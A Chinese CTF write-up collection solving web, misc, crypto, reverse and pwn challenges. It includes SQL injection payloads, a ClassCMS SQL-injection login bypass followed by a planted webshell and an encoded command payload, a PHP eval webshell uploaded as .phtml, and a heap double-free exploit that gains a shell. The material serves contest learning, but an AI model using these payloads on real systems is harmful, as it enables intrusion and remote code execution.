看视频，后面肉眼可见flag
flag{Happy_New_Year_2021}
Base
打开网址可以看到，Sorry,you are not admin!you are Guest 根据思路可以判断当传参的加密值为admin是，可进行下一步
作为大佬，可能一眼就能认出是base64 改了编码表，但是还是给出了提示在robots.txt
访问base.txt
利用编码直接跑出值
我比较懒
直接放上大佬poc和wp
Base
爆破字典表
import requests,string
# print("{")
# for a in string.printable:
# for b in "gwAQ":
# res = requests.get("http://106.55.249.213:5001?user="+a+b).text
# if len(res) == 33 and res[-1] in string.printable:
# print("'%s':'%s',"%(res[-1],a+b))
# print("}")
dddd = {'o':'ag','p':'aw','m':'aA','n':'aQ','s':'bg','t':'bw','q':'bA','r':'bQ','w':'cg','x':'cw','u':'cA','v':'cQ','{':'dg','|':'dw','y':'dA','z':'dQ','}':'eA','~':'eQ','#':'Hg','$':'Hw','!':'HA','"':'HQ','\'':'Ig','(':'Iw','%':'IA','&':'IQ','+':'Jg',',':'Jw',')':'JA','*':'JQ','/':'Kg','0':'Kw','-':'KA','.':'KQ','3':'Lg','4':'Lw','1':'LA','2':'LQ','7':'Mg','8':'Mw','5':'MA','6':'MQ',';':'Ng','<':'Nw','9':'NA',':':'NQ','?':'Og','@':'Ow','=':'OA','>':'OQ','C':'Pg','D':'Pw','A':'PA','B':'PQ','G':'Qg','H':'Qw','E':'QA','F':'QQ','K':'Rg','L':'Rw','I':'RA','J':'RQ','O':'Sg','P':'Sw','M':'SA','N':'SQ','S':'Tg','T':'Tw','Q':'TA','R':'TQ','W':'Ug','X':'Uw','U':'UA','V':'UQ','[':'Vg','\\':'Vw','Y':'VA','Z':'VQ','_':'Wg','`':'Ww',']':'WA','^':'WQ','c':'Xg','d':'Xw','a':'XA','b':'XQ','g':'Yg','h':'Yw','e':'YA','f':'YQ','k':'Zg','l':'Zw','i':'ZA','j':'ZQ',}
for i in """1 union select 1,BINARY(flag) from flag_sxc""".replace(" ","/**/"):
if i in dddd:
print(dddd.get(i),end="")
else:
print("~~~no~~~")
?user=XAXwaAZAaQ&id=LAKgJQJQKgcAaQZAagaQKgJQJQKgbgYAZwYAXgbwKgJQJQKgLAJwXwXAbwXAXQXAbgYAIwJA
database() base
发现BINARY可以直接回显，不知道为什么反正很爽
1 union select 1,BINARY(table_schema) from information_schema.tables group by table_schema
base information_schema mysql performance_schema
1 union select 1,BINARY(table_name) from information_schema.tables where table_schema=database()
data flag_sxc
1 union select 1,BINARY(column_name) from information_schema.columns where table_name='flag_sxc'
flag
1 union select 1,BINARY(flag) from flag_sxc
flag{SXC is very funny!}
ClassCMS
可以直接下载源码，然后源码审计，根据提示escape($str)函数直接，全局定位到/class/cms/cms.php处1858行
可以看出来构成了sql注入
到后台登录出
登录抓包
POST /index.php/admin?do=admin:login HTTP/1.1
Host: 156.253.68.196
Content-Length: 28
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://156.253.68.196
Referer: http://156.253.68.196/index.php/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e
Connection: close
userhash=root' union select 1,'admin','admin','49faced8d2069292b0d415b9786cb06b',1,'admin'--&passwd=root
再次刷新
成功登录到后台，然后应用商店
随便找一个点击下载
然后再点击下载
记得抓一下返回包
可以看到一个http地址
浏览器打开之后会下载这个插件
提取打开之后
再php文件上添加一个小马
然后可以找到文件上传处
上传点
将刚刚打包好的文件上传，或者将文件上传到自己的服务器上也可以的
拿到地址
http://156.253.68.196/upload/20210209/37daa57f9af2bc.zip
然后将刚刚的上传地址改为刚才的那个
或者在这之后进行抓包修改地址，都可以的
然后跑到http://156.253.68.196/class/cache304/cache304.php 地方
这个文件已经上传了你的马子
然后我蚁剑连接时为乱码
然后我在开始时将system函数禁用，可以尝试绕过方法，例如
最后的payload为
POST /class/cache304/cache304.php HTTP/1.1
Host: 156.253.68.196
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://156.253.68.196
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://156.253.68.196/class/cache304/cache304.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e; token_326237=c56c95d8d1444c993a5d2e6082c32245; csrf_326237=5a9fed7c
Connection: close
1=%65%63%68%6f%20%60%63%64%20%43%3a%5c%55%73%65%72%73%5c%41%64%6d%69%6e%69%73%74%72%61%74%6f%72%5c%44%65%73%6b%74%6f%70%5c%43%6c%61%73%73%43%4d%53%26%26%74%79%70%65%20%66%6c%61%67%2e%70%68%70%60%3b
flag{I_Only_want_To_Say_Six_Six_Six}
参考连接：https://blog.csdn.net/qq_41139830/article/details/80531802
反编译时，直接下载的小程序包需要改名字，后缀为wxapkg，（其他后缀我并没有试过，手动狗头）否则会报错
npm install
node wuWxapkg.js -d debug.wxapkg
反编译，在/pages/notes/notes.js发现
http://121.37.189.111:8055/upload_file.php
上传代码中过滤了<?
本来我想过滤掉eval和$_POST,assert等关键字，最后的考点为 ’ ` ’执行命令，时间紧迫，没有过多地过滤 : )
上传shell
POST /upload_file.php HTTP/1.1
User-Agent: PostmanRuntime/7.26.8
Accept: */*
Postman-Token: da10a4ef-d372-4f91-a38e-41006a0196bd
Host: 121.37.189.111:8055
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------419469736650736022214757
Content-Length: 257
----------------------------419469736650736022214757
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/png
<script language="php">@eval($_POST["hdxw"])</script>
----------------------------419469736650736022214757--
http://121.37.189.111:8055/upload/13b36bec63ddfe34d5ae32d0547e16a4.phtml
key:hdxw
根目录下假flag，在/var/www/html/flag.php得到真flag
flag{We_Chat_Upload_File_Is_Easy!}
Flag不在这
解法1：
直接搜文本
flag{It's_real_easy!D0_Y0u_Like_it?}
解法2：
压缩包打开文件，会发现flag.txt
打开就是flag
牛年大吉
查看文件属性，主题“不要不要不相信，上面标题就是的！！记得带英文的!哦”，标题“这个就是哦!”
flag{这个就是哦!}
网络深处
作为一个老赛棍一眼就看出了这是 2020-UNCTF-MISC-网络深处 的比赛原题，wp网上可查，flag也没变
flag{Y29pbA==}
打开压缩包，有3个文件
密文为：
636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
把拨号音丢到audacity里，打开频谱分析
与该图对照
可以得出电话号码为： 15975384265
题目提示，电话号码就是ZIP密码，解压缩ZIP
又获取了一个电话录音.wav
继续丢到audacity里
切到屏幕分析，发现
原来加密方式是: Tupper自我指涉公式造图
找了一个在线加解密网站： https://tuppers-formula.ovh/
FLAG是 flag{Y29pbA==} 或者 flag{coil} (base64解密后)
拼图
montage拼接图片，提示内存什么的错误，最后用PS，拼在了一张图里
修改拼接后的图片大小，改为1200x1200
gaps --image=test.png --generation=30 --population=300 --size=120
一下就出来了
flag{123A4X5b6cLi}
Very very easy hex
循环解压
import zipfile
import os
def unzip(filePath,fileName,filePass="",encoding="gbk"):
outFile = []
zFile = zipfile.ZipFile(filePath+fileName, "r")
for file in zFile.namelist():
zFile.extract(file, filePath, pwd=filePass.encode(encoding))
outFile.append(filePath+file)
zFile.close()
return file
for i in range(3200,1,-1):
unzip("H:\\SXC\\img\\", str(i)+".zip")
os.remove("H:\\SXC\\img\\"+str(i)+".zip")
最后得到168张黑图，跑了一下图片hash发现只有两种，且168正好是7的整数倍，最后得到二进制
转字符串得到flag
另外的提示中有0,0为坐标
#coding: utf-8
import zipfile
from PIL import Image
for x in range(1,200):
image = Image.open("img/" + str(x) + ".png")
r,g,b,a = image.getpixel((0,0)) #要识别像素的坐标
if r == 0:
print('1',end="")
else:
print('0',end="")
pass
二进制转字符串得到
flag{D0_y0u_like_it?}
Love_it!
Wireshark“导出http对象”列表里找关键对象，可以看到整个过程是“扫后台-爆破后台密码-上传shell-命令执行”，找对应的流即可
flag{后台名称后台账号后台密码一句话木马名称一句话密码_第三个马子执行的命令}
flag{dede_admin_starsnowniubi_ma_yingzi_echo `whoami`;}
YLBNB
1 wireshark 打开 YLBNB.pcapng
过滤器开启
http.request.method == "POST"
发现xor.py
#coding:utf-8
import base64
from secret import key
file = open("YLBSB.docx", "rb")
enc = open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
d = chr(c ^ ord(key[count % len(key)]))
enc.write(d.encode())
count = count + 1
发现secret.cpython-38.pyc
DUMP出来并反编译
获取KEY为key = 'YLBSB?YLBNB!'
发现YLBSB.ZIP
导出并解压缩，发现是一个YLBSB.xor 文件
现在已经很清晰了，
已知算法 xor.py ，秘钥key = 'YLBSB?YLBNB!' ,密文 YLBSB.xor
求明文YLBSB.docx。
给出py脚本如下\
key = 'YLBSB?YLBNB!'
enc = open("YLBSB.xor","rb")
flag = open("flag1.docx","wb")
plain = enc.read().decode()
count = 0
a=b''
for c in plain:
#print(c)
d = ord(c) ^ ord(key[count % len(key)])
a+=bytes(d,)
count = count + 1
print(count)
flag.write(base64.b64decode(a))
最终生成文档
搜索flag
发现一串透明文字
加个红背景
FLAG是UNCTF{Best_YLB_Ever}
esay_rsa
打开附件，如下：
from libnum import *
from Crypto.Util.number import *
e=16
p=getPrime(1024)
q=getPrime(2014)
m=open("flag.txt","r")
m=m.read()
phi=(p-1)*(q-1)
e=16
n=p*q
c=pow(m,e,n)
print(p,q)
print(c)
#179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171 129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
#2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292
加密类型为RSA,已经给出了p,q,e，但这里要注意的是e=16，是个合数,与phi=（p-1）*（q-1）之间可能存在公约数。可算出确实存在公约数，且为4.
故这样的私钥d就不存在。但由于e=16刚好为2的4次方，故我们可以想到Rabin算法，即：
C= me mod n
令m1=m(e/2)
则C=m12 mod n
使用Rabin算法可以求出四个可能的m1，继续使用相同的方法：
令m2=m1(1/2)=m**(e/4),又可以得出四个可能的m2,以此往后，循环4次
脚本如下：
from libnum import *
from Crypto.Util.number import *
def Gcd(a,b):
if a<b:
a,b=b,a
while(b!=0):
tmp=a%b
a=b
b=tmp
return a
def Rabin(c,p,q,n):
mp=pow(c,(p+1)//4,p)
mq=pow(c,(q+1)//4,q)
yp=invmod(p,q)
yq=invmod(q,p)
r=(yp*p*mq+yq*q*mp)%n
fr=n-r
s=(yp*p*mq-yq*q*mp)%n
fs=n-s
return (r,fr,s,fs)
e=16
p=179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171
q=129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
c=2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292
n=p*q
phi=(p-1)*(q-1)
pub=Gcd(e,phi)
print(pub)
d=invmod(1,phi)
print(d)
poss_c=[c]
for i in range(4):
new_poss_c=[]
for ct in poss_c:
new_ct=Rabin(ct,p,q,n)
new_poss_c.extend(list(new_ct))
poss_c=set(new_poss_c)
print(poss_c)
for i in poss_c:
print(long_to_bytes(i))
运行结果如下：
得到flag: flag{Y0u_D1D_1t!_7h4_R4bin?}
2.gap
打开附件，如下：
原文：
Ciphertext = "57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c" (hex) Key = "12312"
这里仔细注意可以发现’f’的存在有点特殊，可以将’f’作为分隔符分离字符串，再将十六进制与Key进行异或得到flag
脚本如下：
a="57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c"
b=a.split('f')
print(b)
table=''
for i in b:
x=chr(int(('0x'+i),16))
table+=x
print(x,end='')
print("\n",len(table))
print(b)
index="12312"
for i in range(len(b)):
x=chr(int(('0x'+b[i]),16)^ord(index[i%5]))
print(x,end='')
运行之后，得到flag:
flag{1a1a1a1a!_Y0u_Did_a_G00d_Gob}
easy easy rsa
e = 65537
n1 = 12825100771257456077149964910605574628379912849150485275974020467902117235464130742121032530579724237866564791769251587583725631441489760720100057002948256344359458323465989937328959412299485905695960531657748731414339028199922429650835662666221800190685881209740102840495258149699357507420871994133381553002962266178100932214532054094696463627129336711033963381097413539659886146489405551742843204180033734977810683480542088934851102406520152543021307892757619684557961750000731528948222632469628321045924617868708870938946037379106714397519120005629351078109442687651029509686361054127744053158563626266699075075737
n2=12106667820155092651005980788681668939257714995685173260910711516508690589738399069362876916118479326569560356438772026406627666696459488677154928623481898279221763592991189674063719945636491539578401643457393148592966590912378623321315886510941581133207379498943442783133771909578755977685155060485627632310832382151388077346940192798438100540619466956848168872919742741008418429745589887364045046983841365071962255428055166475284027313634844775738922659401945163832045277387473402653688033772789419513303256030578783069827187965792213613558772834195874813704269442102682045669656446050452299378335318477524181485253
c1=1355386572112372850611036490966188175538987863527927779960990786002452575170634054152212358933763547055422759756027415133273832918485098947876171096276729416374754375351954023434636784414452074632079620319919916399472952978595188578240886468294826420444304995599277105894055963835188287235635124702371763798280974345092661352727696147636416880598697984896058201794475838054061012604762913331122089815538163372055678041274333240141855434364313862079318613288609268694638414313107742788496861764919534572555564813096923547764022387270411562081525314199522682854725378344260430282649981271048334528928379571310731841486
c2=4187980246417055670109574209914134920842728879790147759053902195578524923822173623172504926464305172283619697197398385414680370395194257777668782418463576167818360563481718399499794914649713155302730381449258353312689298898026896213681503805901805909523952463970468637528661785771438841120982593452996933730855072663395182215907870741391439468194834658733873078721153024127449124531077916463035731488854158195299285917169793645551008696190001511145682916315612709150405070977837592215815804308397385122772576945987613305629823072933891171331820743633516172878649931249873828674844504731893379037578087987573081245859
p=gmpy2.gcd(n1,n2)
print(long_to_bytes(m_cenp(c1,e,n1,p)))
b'flag{Very_easy_Rsa!}'
Hard RSA
#! /usr/bin/python2
# -*- coding: utf-8 -*-
import gmpy2
n1 = 17963064878219297499926539755529525701375912229028373100173473134607394789664287607368340798794683194437682952690508928886652995386383146889003406172408614571972729531812623495934448286040540097840662578369651592616783708165933036306017892497833364373485432426417809013633924450913331047907013191887482793788688736422653892662900369700701081539738763728230752094073294005560908179016172875213907812943500460207818071050071895019325622709305548027158608131204996083137774696224909740835744016252811508782404134677682054379270633099277445509293373814980267901088167711756798567438727515561927878122737404945310578048219
c1 = 2519784075571363990355801446319896012899269885206109823774950526790963683990153738128746190638393784786596405506731840240589533349004496866914346264165223649729391271273556253486062775839454219993404367212857109756953767455690796208791355456292865648813147954137342631589248190059107210837405220320124078796283385382994717993598412926549647978190991179177838292156516142496656655553613583148209957002024913648233539568864514049304210818483385640653620994626277688420873819215255064048179977060710057344959786809400706849894340484144098989681668420576351191631435372353088813222856086210998354107613629733847782962190
n2 = 18724308600993680772040132476147443059937062865510694686877532603079614680086774925762072671394784787691065784432778464228230479469525602116950506124178922966302228834351364607333986401435253287986565305219407269279319145851605536263946222693062150972421981977212241191765587924831341467136660852112059970632881164690431105960074159318822853545203221878413076459098980779367764115932851271974512575031047448816911420663521305894273613218483567916755598148798190932027939210902403155767487515702073721374684377875350047635848757189883075996002319631998930528597791545501045272097478778892159675588840857142652895265911
c2 = [3227115480108687251143827858010802848948769835037303555920483802259214819344453925631294417806432714176524195861938002549436386343852098195596387592472144546437874859798830812267011643855867112448231876484774166379425286268881326798711769931848606930434512049291154720821129654830620829493843059059835800242333615312846190103494997079811557982251508839708002883778910917631553992619052626191828854730582898255670700858011426887487070944722267353577011178466697504947762804170585435684678698950363434075952461947607646966414518037049739527149945887998812316417005423702083018805606242882095334884780205891592816168103L, 17139275485259110169718125211934888629708949924849742315041043571562307752055065297519271353044041441264892639110696891866965260187916302606640599942290472419225004160983308212078726494659784938191829066322525193057563553826485587827351089778042018829577434276292639964092632076137550347805354953807458891741631731341557365791973551073866525939105337652370251223107187937345980460911362790708353134912495192276504731259631723322913019046682545871283275754931576128656069033856416078373511440449107627433371949378696710812496517227289219196266427370667273925986284754478473526404645897976394395240810054198847661134728L]
c3 = [281487861809153, 49947026556362417]
#低加密指数攻击 得到e1,e2
e1 = gmpy2.iroot(c3[0],3)[0]
e2 = gmpy2.iroot(c3[1],3)[0]
#共模攻击 得到 p
s = gmpy2.gcdext(e1, e2)
s1,s2 = s[1],s[2]
enc1,enc2 = c2[0],c2[1]
if s1 < 0:
s1 = -s1
enc1 = gmpy2.invert(enc1, n2)
elif s2 < 0:
s2 = -s2
enc2 = gmpy2.invert(enc2, n2)
p = gmpy2.powmod(enc1, s1, n2) * gmpy2.powmod(enc2, s2, n2) % n2
#分解n1 得到 p,q解密
q = n1/p
d = gmpy2.invert(e1,(p-1)*(q-1))
m = gmpy2.powmod(c1,d,n1)
flag = hex(m)[2:].strip('L').decode('hex')
print(flag)
Strange_Exe
查壳无壳，且为windows下64位的可执行文件。运行下程序：
输入key和flag后，程序闪退，拖入IDA64进行静态分析，但没有发现任何有用的信息，但注意到出现了py的字眼：
猜测位.py打包的exe文件，使用工具pyinstxtractor.py解包exe程序，如图：
得到一个解包后的文件夹，进入，找到struct.pyc和Strange_Exe.pyc文件，使用16进制编辑器打开，将struct.pyc的前16个直接复制到Strange_Exe.pyc文件中，再使用uncompyle6工具将pyc文件反编译位py文件，如下：
打开123.py文件，如下：
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 10:41:24) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: Strange_Exe.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
from Crypto.Util.number import *
from libnum import *
import sys, re
n = 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001
e = 65537
def Encry(flag, key):
if len(key) % 2 == 1:
print('Key Length Error')
sys.exit(1)
n = len(key) // 2
encrypted = ''
for c in flag:
c = ord(c)
for a, b in zip(key[0:n], key[n:2 * n]):
c = (ord(a) * c + ord(b)) % 251
encrypted += '%02x' % c
return encrypted
if __name__ == '__main__':
enflag = '2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
print('I just know the key is be encrypted by RSA >^<')
print('the N is ', 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001)
print('the e is ', e)
print('the enkey is', 5245012035129826698183403080011445624613856052094715725373682276458248758771126394998534800902967048805562607357130318411192210685987107838816794834417355855833659383949900569538961590972391565753499233029524761954522186780031294040166860781444579756451023002734395369180904976153913515045576292688356629623726557075215355919441347362141761522428818516126532001416838975868466604383696324013723160613564724549146744670434353680461359576345948952804490469885471008440180876962116006206555145646287351475935581687169678110234891269143620201576816041518623263681993235742082804091430437091467240335038679328296670872451)
mykey = input('input your key:')
myflag = input('tell me your flag:')
En = Encry(myflag, mykey)
if En == enflag:
print('congrulations!')
else:
print('Oh! you just need more trying')
sys.exit(1)
# okay decompiling .\Strange_Exe.pyc
分析程序可以知道，通过输入key与flag,将key和flag经过Encry函数加密后得到密文En,若密文与enflag相等，则输入的flag即位我们想要的flag.分析加密函数：
def Encry(flag, key):
if len(key) % 2 == 1:
print('Key Length Error')
sys.exit(1)
n = len(key) // 2
encrypted = ''
for c in flag:
c = ord(c)
for a, b in zip(key[0:n], key[n:2 * n]):
c = (ord(a) * c + ord(b)) % 251
encrypted += '%02x' % c
return encrypted
加密流程如下：
①将key分成等份的两组，并用zip打包成为一个元组
②将flag中的每一个元素c*key[0:n]+key[n:2n]
③将得到的数值转化为十六进制，形成字符串
这里直接分析，感觉要先将key解出来，已知key使用RSA加密的，给出了ckey与N,但是N暴力破解很难分解，几乎解不出key，仔细分析加密程序，可以发现虽然flag的每个元素都会经过很多次处理，但每个元素每次都进行了相同的处理，每次处理都是在群251下的仿射加密！因此，可以直接看为进行了一次仿射加密，写出解密算法即可得出flag.
解密脚本如下：
from Crypto.Util.number import *
from libnum import *
import sys
import re
enflag='2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
enflag=re.findall('.{2}',enflag)
table=[]
for i in enflag:
x=int('0x'+i,16)
table.append(x)
lenflag=len(enflag)
print(lenflag,'\n',enflag)
print(table)
a=0
b=0
for i in range(1,252):
for j in range(1,252):
c1=(ord('f')*i + j)%251
c2=(ord('l')*i + j)%251
c3=(ord('a')*i + j)%251
if c1==table[0] and c2==table[1] and c3==table[2]:
a=i
b=j
break
if(a!=0 and b!=0):
print("a:",a,"\tb:",b)
inva=invmod(a,251)
flag=[]
for n in table:
x=((n-b)*inva)%251
flag.append(chr(x))
print(''.join(flag))
运行后得到flag:
flag{Ha_It_is_N0t_7he_Really_eXe}
Very easy Reverse
pyinstxtractor解包，010Editor调整pyc头，uncompyle6反编译得到5.pyc源码，下面是flag周围部分代码
print_text(screen, font1, 30, 7, f"Spend: {score // 100}")
print_text(screen, font1, 450, 7, f"Score: {score}")
if score >= 10000:
print('flag{Wow_So_Amazing!!}')
game_over = True
if game_over:
if start:
print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, 'GAME OVER', RED)
pygame.display.update()
flag{Wow_So_Amazing!!}
原谅我们没有pwn佬，只能找exp
#coding:utf-8
from pwn import *
def New(p, size):
p.sendlineafter('choice:', '1')
p.sendlineafter('chunk:', str(size))
def Write(p, idx, content):
p.sendlineafter('choice:', '2')
p.sendlineafter('index:', str(idx))
p.sendafter('content:', content)
sleep(0.3)
def Delete(p, idx):
p.sendlineafter('choice:', '3')
p.sendlineafter('index:', str(idx))
def pwn():
p = process('./pwn5')
elf = ELF('./pwn5')
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux', 'split', '-h']
#gdb.attach(p)
New(p, 0x60) # 0
New(p, 0x60) # 1
Delete(p, 0)
Delete(p, 1)
raw_input('1')
Delete(p, 0)
raw_input('2')
New(p, 0x60) # 2 0
raw_input('3')
Write(p, 2, p64(0x60208d)) # 7f
raw_input('4')
New(p, 0x60) # 3 1
New(p, 0x60) # 4 0
New(p, 0x60) # 5 0x60208d
raw_input('5')
Write(p, 4, '/bin/sh\x00') # 4 0
raw_input('6')
payload = '\x00' * 3 + p64(elf.got['free']) * 3 # pr : 0x6020a0
raw_input('7')
Write(p, 5, payload) # 5 0x60208d
raw_input('8')
Write(p, 2, p64(elf.plt['system'])) # 0
raw_input('9')
Delete(p, 4) # 4
raw_input('10')
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
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